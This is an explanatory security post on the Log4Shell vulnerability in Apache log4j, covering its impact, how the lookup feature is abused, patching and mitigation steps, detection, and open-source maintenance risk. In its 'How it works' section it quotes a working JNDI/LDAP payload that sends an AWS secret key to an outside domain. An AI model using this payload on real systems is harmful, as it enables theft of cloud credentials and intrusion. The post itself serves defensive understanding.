The log4j (Log4Shell) Situation
What happened:
A 0-day exploit was released for log4j—a Java-based logging utility that's part of the Apache Logging Services project. It is used by millions of systems worldwide to process logs.
Impact:
People are comparing this to Heartbleed, but it's much worse in a number of ways. While Heartbleed affected all TLS implementations, and this one only affects systems that use log4j, this issue produces direct and immediate harm in the form of password/key extractions and shells.
How it works:
The vulnerability is due to insecure the “lookup" functionality within log4j that executes user-provided content as code, also known as RCE. So if you provide the input `${env:PWD}`, it'll write the PWD environment variable to the log. It gets much worse from there, including the egressing of data out of the affected system and—most importantly—spawning a shell on the affected system.
Example: Here's an example from @dildog of extracting AWS Keys and listening for incoming requests.
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.mydogsbutt.com}
Thoughts on what to do:
The best way to fix this is to find all instances of log4j and patch them to 2.15+. If not, there are a few possible mitigations:
Patching: Upgrade to version 2.15.0.
Mitigation: For those who cannot upgrade to 2.15.0, in releases >=2.10, this vulnerability can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. Note: WAF can help but won't solve the problem. Most companies' backend systems are already clogged with these malicious payloads, from multiple ingress points. We can't fix the problem by stopping more from coming in. The only fix is securing the systems that will inevitably come in contact with that malicious input.
Detection: Many companies using Semgrep to find vulnerable inclusions of user-provided data. Here's an example Semgrep rule from Clint Gibler of R2C/TLDRSec.
Vaccination: This is definitely on the crazier side of things, but one clever approach is to use the vulnerability to mitigate the vulnerability. Specifically, it's using the RCE functionality to set the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. | Code via Cybereason
Other Considerations: As David Litchfield, IOActive Business Development Director, pointed out in a number of tweets, this isn't just HTTP. Any service you have that takes input, including SMTP, IMAP, etc., are all additional attack vectors. Also consider second and N-level order processing of content on the backend as part of batch processes and other types of automation.
Perspective from Security Research:
What is remarkable about this vulnerability is not just its criticality or reach—but the root cause at the developer incentives level. Like Heartbleed—the project had very few eyes on it, and all those eyes were volunteers. What we should be thinking about isn't just log4j. What we should be thinking about is how many other projects are out there that have similar characteristics:
- The project is maintained by very few people in their spare time for no money, and;
- If the project had a major issue it would disrupt the entire internet.
We simply have too much critical internet infrastructure maintained by a handful of people in their spare time. And those few people are often not able or incentivized to evaluate what they're creating from a security standpoint. This vulnerability will be with us for years because malicious payloads and vulnerable systems can sit dormant for any amount of time. At any moment they can come back alive and process a malicious payload that results in compromise.
Related reading:
Hackers start pushing malware in worldwide Log4Shell attacks | Dec 12
Researchers trigger new exploit by renaming an iPhone and a Tesla | Dec 13
Log4j vulnerability now used by state-backed hackers, access brokers | Dec 15
Microsoft Spots Multiple Nation-State APTs Exploiting Log4j Flaw | Dec 15
| 
